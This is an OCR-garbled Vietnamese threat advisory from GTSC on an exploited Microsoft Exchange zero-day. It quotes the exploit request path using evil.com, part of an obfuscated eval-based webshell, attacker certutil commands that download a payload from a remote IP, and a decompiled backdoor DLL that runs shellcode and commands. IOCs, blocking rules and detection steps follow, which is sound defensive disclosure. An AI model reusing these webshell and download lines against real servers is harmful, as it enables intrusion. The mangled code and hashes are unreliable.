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Khoang tlr dau thang 08/2022, trong qua trinh thuc hién giam sat an ninh mang va x ly sw ¢d, Trung tdm van hanh bao mat GTSC SOC phat
hién mét don vi trong yéu bi tAn cdng an ninh mang vao hé thdng (rng dung Microsoft Exchange. Qua trinh diéu tra, d6i ngii chuyén gia
BlueTeam xac dinh ké tan cong da str dung mét 16 hdng bdo mat clia Microsoft Exchange chwa tirng dwoc cong bd - hay con goi la 16 héng 0-
day. GTSC SOC Team ngay lap ttrc dwa ra phwong &n ngén chén tam thdi. Song song, cac chuyén gia RedTeam ciing bat tay ngay vao viéc
nghién ctru, debug lai ma ngudn (rng dung Mail Exchange dé tim ra ma khai thac (exploit). V&i 16 hdng bdo mat Exchange trudc day, doi ngii
RedTeam ciing dé tirng phan tich ra exploit truwé'c khi cé exploit dwoc public trén thé gidi (1-day exploit) nén viéc hidu ludng, co ché xi ly clia
hé thédng Email Exchange da gitp giam thoi gian cho qua trinh research. Ngay sau khi nghién ctru ra exploit, GTSC da submit [én ZDI dé lam
viéc v&i Microsoft nham nhanh chéng cé ban va.

Sau khi ZDI verify da ghi nhan 2 bug lién quan dén exploit:

ZDI-CAN-18333

Discovered by: DA-Ox43-Dx4-DA-Hx2-Tx2-TP-5-Q from GTSC

ZDI-CAN-18802

Discovered by: DA-0x43-Dx4-DA-Hx2-Tx2-TP-5-Q from GTSC

Tuy nhién dén thoi diém hién tai, GTSC ghi nhan thém céc don vi khac ciing dang gap phai sw c6. Sau khi kiém tra, GTSC xac nhan hé théng
bi tAn coéng qua 16 hdng 0-day nay. D& hd tro' cdng ddng ngén chan tam thoi trwée khi ¢ ban va chinh thire tir Microsoft, chiing tdi cong bd bai
viét nay dé canh bao t&i cac don vi co st dung hé théng email Microsoft Exchange.

Théng tin 16 héng bao mat

- Boi ngii Blueteam trong qua trinh giam sat phat hién dwoc cac request exploit dwa trén log 1IS ¢é dinh dang giéng nhw 16 héng
ProxyShell: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com.
Déng thoi kiém tra cac logs khac, nhan thay ké tan cong thuc hién dwoc cac cau 1énh trén hé thdng. Kiém tra version number trén may chi
Exchange bi tAn cong nhan thay may chi da cai dat ban cap nhat méi nhét tai thoi didm dé nén khong thé coé trudng hop khai thac béi 16
héng Proxyshell -> xac nhan may ch bj khai thac bai 16 hdng 0-day RCE méi. Cac théng tin nay dwoc Blueteam cung cp lai cho Redteam,
tr d6 d6i ngli Redteam clia GTSC da tién hanh nghién ctru dé tra 161 cho cac cau héi nhu tai sao cac request lai gibng vai request clia bug
ProxyShell?, lubng RCE dwoc thwc hién nhuw thé nao?
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- Két qua nghién clru da giip GTSC Redteam thanh cong tim ra cach s dung duwdng dan trén dé truy cap téi 1 component &
backend va thuc hién RCE. Théng tin ki thuat chi tiét v& 16 héng tai thdi didm nay ching t6i xin phép chua cong bb.

Cac hanh vi sau khai thac

Sau qua trinh khai thac thanh cong 16 héng, ching téi ghi nhan cac hanh vi tAn cong nhdm thu thap thong tin va tao chd dirng trong hé théng
clia nan nhan. Nhém tan cong ciing st dung cac k¥ thuat khac nhau nham tao backdoor trén hé théng bi anh hwéng va thuc hién lateral
movement sang cac may chi khac trong hé théng.

Webshell

Chung t6i phat hién cac webshell dwgc drop xuéng cac may chd exchange. Cac webshell ching toi thu thap dwoc hau hét dwoc obfuscated.
Théng qua User-agent chung t6i phat hién attacker st dung Antsword (mét opensource c6 tinh nang hé tro quan ly webshell).

<%@Page Language="Jscript"%>
<%eval(System. Text.Encoding. GetEncoding(936). GetString(System.Convert. FromBase64String('NTcyM'+'jk303'+'ZhciB'+'zYWZI'+"+'P'+'S'+char (i

763)+System. Text.Encoding.GetEncoding(936). GetString(System.Convert. FromBase64String('MQ=="))+char(51450/525)+"+"+char(0640-
0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System. Text. Encoding. GetEncoding(936). GetString(System.Convert. FromBase64String('Wg==

Chuing téi nghi ng® cac hanh vi khai thac nay xuét phat tir cac nhém tan cong Trung Quéc, dwa trén codepage trong webshell 1a 936, mot
bang ma ky tw Microsoft cho tiéng Trung gian thé (simplified Chinese).

Mot dac diém dang chu y khac, bén canh viéc drop cac webshell méi hacker cling thyc hién thay doi noi dung trong file
RedirSuiteServiceProxy.aspx thanh néi dung webshell. RedirSuiteServiceProxy.aspx |a mét tén file hop phap sin cé trong may chi Exchange

FileName Path
RedirSuiteServiceProxy.aspx C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashx C:\inetpub\wwwroot\aspnet_client

pxh4HG1v.ashx C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

WEBPAGE MESSAGE ID RESULT CODE USER AGENT

Jowalauth/RedirSuiteServiceProxy.aspx 20 antSword/v2.1
fowalauth/RedirSuiteService Proxy. aspx 20 antSword/v2.1
lfowalauth/RedirSuiteService Proxy.aspx 20 antSword/v2.1
fowalauth/RedirSuiteServiceProxy.aspx 20 antSword/v2.1
fowalauth/RedirSuiteServiceProxy.aspx .. 2( antSword/v2.1
fowa/auth/RedirSuiteServiceProxy.aspx ) antSword/v2.1
Jfowalauth/RedirSuiteServiceProxy.aspx antSword/v2.1
Jfowalauth/RedirSuiteServiceProxy. aspx 0 antSword/v2.1

fowalauth/RedirSuiteService Proxy.aspx antSword/v2.1

Jowalauth/RedirSuiteService Proxy.aspx : antSword/v2.1

fowalauth/RedirSuiteService Proxy.aspx antSword/v2.1

Trong qua trinh xt Iy sw cb tai mdt khach hang khac, GTSC ghi nhan nhém tan cong cé st dung mét mau webshell khac
Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257
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Ref: https://github.com/antonioCoco/SharPyShell

Command Execution

Bén canh cac hanh vi thu thap théng tin trén hé thdng, attacker thwc hién tai file va kiém tra két ndi théng qua certutil ¢ san trén mai triwong
Windows

“ecmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]
"cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]

O cudi ctia mdi cau lénh ma ké tan cong thuc hién déu co chudi echo [S]&cd&echo [E], mét trong nhivng dau hiéu nhan biét ctia China
Chopper.

Ngoai ra, hacker ciing thwc hién inject DLL ddc hai vao bd nhé, drop céc file nghi ngd 1én cac may chii bi tAn cong, va thuc thi cac file nay
thdng qua WMIC.

Suspicious File

Trén cac may chu, chung toi phat hién cac file nghi ngd ¢é dinh dang exe va dll

FileName Path

DrSDKCaller.exe C:\root\DrSDKCaller.exe

all.exe C:\Users\Public\all.exe
dump.dll C:\Users\Public\dump.dlI
ad.exe C:\Users\Public\ad.exe

gpg-error.exe C:\PerfLogs\gpg-error.exe

cm.exe C:\PerfLogs\cm.exe

msado32.tlb C:\Program Files\Common Files\system\ado\msado32.tlb

Trong sb cac file nghi ngd trén, dwa vao cac cau lénh dwoc thwe hién trén may chi, ching toi nhan dinh cac file all.exe, dump.dil ¢ nhiém vu
trich xuat thong tin tai khoan trén hé théng may chii. Sau cac hanh vi trich xuét théng tin tai khoan trén hé théng, attacker str dung rar.exe dé
nén cac file dump va copy ra webroot clia may chli Exchange. Trong qua trinh x( ly su cd, cac file trén da khong con ton tai trén hé théng.

File cm.exe dwoc drop xudng thw muc C:\PerfLogs\ |4 file cmd.exe

Malware Analysis

Théng tin DLL

File name: DIl.dIl

Sha256:
074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0
29b75f0db3006440651c6342dc3c0672210cfb339141¢75e12f6¢84d990931¢3
¢8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07dad 7bff2
Phan tich DLL

GTSC phan tich mot mau cu thé (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) dé md ta hanh vi clia ma dac,
cac mau DLL khac ¢ nhiém vu va hanh vi gibng nhau, chi khac nhau vé cau hinh listener
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DLL gdm 2 hai class: Run va m. Bén trong méi class goi t&i cac method thwc hién cac nhiém vu khac nhau. Cu thé:

Class Run thyc hién tao listener I&ng nghe cac két ndi téi port 443, dwong dan https://*:443/ews/web/webconfig/.

)

r httplistener

T : {"httr

httplistener.
ThreadStart(Run.r)).

Sau qua trinh Iéng nghe, ma déc tao thread ma&i goi t&i r. Method r thwe hién:

- Kiém tra request nhan duoc cé data trong body hay khéng. Néu khong cé data di kém trong request gii 1én may cha, két qua tra vé
la 404.

- Nguwoc lai, néu trong request cé di kém data, DLL tiép tuc x ly ludng bén trong nhanh IF:

Kiém tra request nhan dwoc c6 tn tai "RPDbgEsJF908S="hay khong. Néu co, goi t¢i method i ndm trong class m dé xt ly request nhan
dwoc. Két qua tra vé tr Run.m.i sé duwoc covert sang chudi base64. Két qua tra vé cho client theo format

{
"result":1,

"message":"base64(aes(result))"

Class m

Method i thwc hién:

- Giai ma request nhan duoc bing thuat toan AES véi 16 bytes dau tién cla request la gia tri IV, 16 bytes tiép theo 1a gia tri key, cac gia
tri sau do la data

- Sau khi gidi m4, Iy phan tir dau tién trong mang lam flag dé x& ly cac case da dwoc dinh nghia
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[1 i( [1e)

n memoryStream

[] array3 T
Run.m.r(array3[@],

o Case 0: Goi t&i method info. Method nay cé nhiém vu thu thap théng tin hé théng. Cac théng tin bao nhw kién tric hé diéu hanh, phién ban
framework, phién ban hé diéu hanh, v.v....GTSC mé phéng lai case 0 béng hinh anh bén dwéi. Request glri 1&n theo format 16 bytes dau la gia
tri IV, 16 bytes tiép theo 1a gia tri key, theo sau la flag @& chi dinh option va phan con lai la data.

base64 (IV | key | aes(flag|data))

Recipe am i npa e =R

ARS Dacrypt

Outpait C - Nallo!

o Case 1: Goi t¢i method sc. Method nay cé nhiém vu cap phat viing nhé dé thuc thi shellcode

intPtr ( - 5 L )sc.
(sc, pos, intPtr, sc. pos);
ad( . (intPtr,
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o Case 2: Goi t&i 2 method p va r. Method p xt ly cac di¥ liéu dwgc ngan cach béi ky tw
tlr d4u tién lam tham s cho method r, method r ¢4 nhiém vu thwe thi command

uln

Process process
process.
process.
Process.
process.
process.
process.Start();
process. .ReadToEnd() + process.

o Case 3: Goi t¢i method Id. Method nay c6 nhiém vu liét ké thong tin thw muc va file theo format
D|-|<Ngay tao> |<Ngay chinh stra> |<tén thw muc hodc tén file>
( path)
directorylInfo = DirectoryInfo(path);

~ stringBuilder = »tringBuilder();
toryl directoryInfo2 directoryInfo.

stringBuilder.Apj
I

v,

directoryInfo2.

directoryInfo2.

directoryInfo2.
13D F

filelInfo directorylInfo.

stringBuilder.Apy

»

filelnfo.
filelnfo.
fileInfo.
filelInfo.

stringBuilder.

o Case 4: Goi t&i method wf. Method nay c6 nhiém vu ghi file

( path, append, [] data, offset)
(FileStream fileStream ileStream(path, append ? FileMode.
fileStream. (data, offset, data. offset);

e”;]

o Case 5: Goi t¢i method rf. Method nay c6 nhiém vu doc file

lwu vao mang array3. Mang array3 sé lay 2 phan



o Case 6: Tao thw muc
o Case 7: Xoéa file hoac thw muc
o Case 8: Di chuyén File

o Case 9: Set time cho file

flag2 = array2[1] == 0;
[]1 array4 = Run.m.p(array2, 2, 1);
(flag2)

(arraya[0]);

(array4[@]);

[] array5 = Run.m.p(array?2, 1, 2);
(array5[@], array5[1]);

>

[] array6 = Run.m.p(array2, 1, 2);
dateTime - (array6[1],
(array6[0], dateTime);
(array6[@], dateTime);
(array6[@], dateTime);

o Case 10: Nap va thyc thi C# bytecode nhan tir request.
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array2[nums + 1] << 8);

K Yy
ray2, numS, num?));

num5] ;

(text3, Bin 35 BindingFlags.

Cac mau DLL khac c6 nhiém vu twong tw, chi khac nhau vé cau hinh listener nhw sau:
Victim 1:
https://*:443/ews/web/webconfig/
https://*:443/owa/auth/webcccsd/
https://*:444/ews/auto/
https://*:444/ews/web/api/
Victim 2:
http://*:80/owa/auth/Current/script/
https://*:443/owal/auth/Current/script/

Chuing tdi cling phat hién DLL dwoc inject vao memory ctia tién trinh svchost.exe. DLL thwc hién két ndi gtvi nhan div liéu téi dia chi
137[.]184[.167[.]33 dwoc config trong binary. Viéc g&ri nhan di liéu v&i C2 str dung thuat toan RC4, khoéa sé dworc tao trong thoi gian chay
(runtime).

Piewdocose-d

struct WSAData WSAData; //

if { mame[strlen( wi() )
retur Fi

i able,
[ do
i .
i site;
i da
1 1
L if 81)
i (43 55 1) * dnEoasase;
! else
i
i }
i while [
i 4+
1
i while { o1 « 358 };
i = cresterutex CRCD
i if tLast
: [rexerkx], al 1
| 9000001 60002527 31 short loc_180002558
H }
1 L] else

= {

0ei0n1 60001518 call

10000 (-242.-15) (36.35) SO0OMFY DOOO0001BN0034FG: DIy, 0

Cac bién phap ngan chan tam th&i

Qua trinh xt ly sw b tryc tiép ctia GTSC ghi nhan ¢é trén 1 don vi td chire bi 1a nan nhan cda chién dich tAn cong khai thac 16 héng zero day.
Ngoai ra chiing tdi ciing lo ngai réng c6 thé co nhiéu tb chirc khac ciing da bi khai thac nhwng chwa dwoc phat hién. Trong thoi gian che doi
ban va chinh thirc tir hang, GTSC cung cAp bién phap khéc phuc tam thdi nhdm gidm thiéu viéc tan cong khai thac 16 hdng béng cach bd
sung rule chan céac request cé dau hiéu tAn cong théng qua module URL Rewrite rule trén may cha 1IS (Webserver)
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- Trong Autodiscover tai FrontEnd chon tab URL Rewrite chon Request Blocking

Defiut Web Ste » Avtodeicover

S URLRewrite
Provites ewiting capabiltid R Revert o Parent
Inibound nales that are spple Manage Serveds Varlables
e Seectrds ool W paath  swpPrec Yior Surve ol R
Inbound rules M?M::“
» 4 [ 2 Rue with rewrite map —
% Autodacover o Request blocking [ ——="= -
» g:':; Inbeind snd Outbound Rules I-h-llh:: 3
» gt Rides.
s B g 2 User-friendly URL £ Reverse Proxy | 5
> B Microsoft-Server-2 Dol roles Voow Priconds
» b ous . Blank nle. -.-ﬂcﬂ T»vm
» P owa Search Engine Optimaaation (560) Wiew Custiorn Tags—.
» g;"""“' < & Enfoece lowercase URLS il Cancnical doman name 3| || @ Hee
» 3 % Append of remove the rasking slach symbel
Exchange Back End
@ Outbound rules that ae el
Narne

etring, HTTP headers, and server varisbles.

P 1 5 | |Features View " Content View
‘Defaut weth.config

CH
- Add thém chudi “. *autodiscover\ json. \\@. *Powershell.* vao Pattern (URL Path):
5 P 00 s Sae » DefwhWebSte + Autsdiscove + Wt
Fle View Help
Q-id 2 e \? URL Rewrite Ada Rubels).
. q:;;'* . Provides rewnting capabiitoes baied on rules forthd 4 .o t Blocking Rule 7 % Revert to Pacent o
..Dlwk:iiw'uk Inbound rules that are sppled to the requested URL| Manage Server Variables
v u Sam Hame input Bock access based o _ ActicaType  ActionURL  Stop Pree View Server Variables...
~ ) Default Wb Ste URL Path ~ Manage Froviders
3 AR - - Vi Rewrite Mags.
:am L Block request that: View Providers...
> @ ep Matches the Pattern ~| Inbound Rules -~
> B ews ) ) gt Flules
3 mapi Patterm (URL Pathl: Outbound Rukes. a
¥ ‘2 ﬁww-a [Fautodiscoven juon @ Powershell* View Precomatons...
(B e S ot e
» :‘:’ PowerShell < > © Hep
> Rpe Using: _
» @ Exchange Back fnd Outbound rules that are applid 10 the headers orth | R84 Expressions >
Hame Inpuk Howte bock . Prece.  Entry Type
“Send an HTTP 421 (Forbidden) Response ~
o[ ome
< I > [ Festures Vw13 Content iew
Configunnticn: Delwuk Web Ste/Butodiscover web.condi e 1

- Condition input: lwa chon {REQUEST_URI}
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- v EXO2 » Smes » Default WebSite » Autodecover »

Fe  View Help
Conmec tiom
a-id# 8
ey Stant Page
S EX02 (DEV\admin)
I Appleation Pock

B URL Rewrite

Inbound rules that are applied 1o the requested URL sddress

Provides rewriting capabiities based on rules for the requested URL sddress and the content of an HTTP respense.

v i Sae Harre Input Match Pattern Actson Type Action URL Step Proc
-@ o::"" Web Ste 5 RequentBlockingRule]  URL path after VAutodiscover™  Matches : Custom Respe. Trse
' (REQUEST_UR) Matches the Pattem Savtodiscover jion. 8. Po_.
spnet_chent
¥ Auteducover
3 Edit Condition ? *
ecp
P ews
W mape Condition e
B Microsoft-Server- [imequest.um
P Qa8
F owa Check d input stnng:
¥ PowerShell T Mstches the Pattern L
S Rpe l | |
Exchange Back End
Q) B B Outbound rules that are spplied to|  Pattem
Name autedacever on\ 8. Powershell Test pattesn... Step Proce. Entry Type
£ igmore case
Cancel
. 3| [ Festures Voew |13 Content View

Configantion: Delault Web Ste/Autedaorar’ web.confy

Phat hién tan céng

Nh&m kiém tra hé théng da bi tAn cong bai 16 hdng nay, cac don vi/td chirc 6 thé thue hién theo cac cach thirc sau:

Cach 1: Sir dung powershell véi cau 1énh sau: (St dung powershell d& thwe hién search trén toan bo folder log 1IS mét kha nhiéu thdi gian)

Get-Childltem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json."\@.*200'

Céu hinh méc dinh 1S log n&m tai dwong dan "%SystemDrive%\inetpub\logs\LogFiles"

Cach 2: Sir dung cong cu do GTSC phat trién dwa trén dau hiéu khai thac 16 héng, thoi gian thuwc hién search nhanh hon so véi viéc st dung
powershell. Dwérng dan tai vé cong cu: https://github.com/ncsgroupvn/NCSEOScanner

Giao dién chinh clia chwong trinh sé thyc hién ra quét trong thw muc log dwoc ciu hinh nhw trong hinh dwéi day. Ngudi ding cé thé lwa chon

sb thread mong mudn tuy theo cAu hinh ctia may ch.

O

Tuy chon quét

NCS APT Scanner

cﬁ: NPT SCANNER

Thur muc log ‘ C:\Inetpub\Logs\LogFiles

Worker threads

Website: ncsgroup.vn

Chuong trinh sé tién hanh ra quét tw dong va tra vé két qua.

- Trwong hop phat hién dau hiéu tn cong thanh cong:

Quét

© NCS
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NCS APT Scanner

Tuy chon quét| P3 phat hién diu hiéu tin cong Microsoft Exchange, xem két qua chi

The mclog tiét trong file apt_matched.log va apt_scan.log

Quét

Website: ncsgroup.vn © NCS

- Trwong hop khong phat hién dau hiéu tAn cong, théng béo tré vé nhu sau:

NCS APT Scanner

Tuy chon quet D3 hoan thanh viéc quét APT, xem két qua chi tiét trong file
e apt_scan.log

Warker threads | 2

Quét
Website: ncsgroup.vn @ NCS
- Tép apt_matched.log: tdng hop cac request tAn cong thanh cong.

- Tép apt_scan.log: téng hop théng tin trong qua trinh scan.

Chuing t6i khuyén nghi cac té chirc/doanh nghiép tai Viét Nam ciing nhu trén toan thé gi¢i dang stv dung Microsoft Exchange Server tién hanh

kiém tra, ra soat, ddng thdi ap dung bién phap khéc phuc tam thdi bén trén sém nhét co thé.

Indicators of Compromise (IOCs)

Webshell:
File Name: pxh4HG1v.ashx
Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx
File Name: RedirSuiteServiceProxy.aspx
Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97¢cd386881518d3a31d27f5
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx
File Name: RedirSuiteServiceProxy.aspx
Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx
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File Name: Xml.ashx (pxh4HG1v.ashx va Xml.ashx c6 cung ndi dung)
Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx
Filename: errorEE.aspx
SHA256: be07bd9310d72a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257
Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx
DLL
File name: DIl.dIl
SHA256:
074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57¢c0
29b75f0db3006440651c6342dc3c0672210cfb339141¢c75e12f6c84d990931¢3
¢8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07dad 7bff2
File name: 180000000.dIl (Dump tir tién trinh Svchost.exe)
SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560acaé5dcddbd7da3701e
IP
125[.]212[.]220[.]48
5[.]180[.]61[.]117
47[.1242[.]39[.]192
61[.]1244[.]194[.]185
86[.148[.16[.169
86[.]48[.]12[.]164
94[.]140[.18[.148
94].]140[.18[.]113
103[.19[.]76[.]208
103[.19[.]76[.]1211
104[.]244[.]79].]16
112[.]118[.]48[.]186
122[.]155[.]174[.]1188
125[.]212[.]241[.]1134
185[.]220[.]101[.]182
194[.]150[.]167[.]88
212[.]119[.134[.]11
URL:
hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:
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137[.]184[.167[.133

Mitre ATT&CK Mapping

Tatic ID Name
Resource Development T1586.002 Compromise Accounts: Email Accounts
Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell
Execution T1047 Windows Management Instrumentation
Persistence T1505.003 Server Software Component: Web Shell
Defense Evasion T1070.004 Indicator Removal on Host: File Deletion
Defense Evasion T1036.005 Masquerading: Match Legitimate Name or Location
Defense Evasion T1620 Reflective Code Loading
Credential Access T1003.001 OS Credential Dumping: LSASS Memory
Discovery T1087 Account Discovery
Discovery T1083 File and Directory Discovery
Discovery T1057 Process Discovery
Discovery T1049 System Network Connections Discovery
Lateral Movement T1570 Lateral Tool Transfer
Collection T1560.001 Archive Collected Data: Archive via Utility
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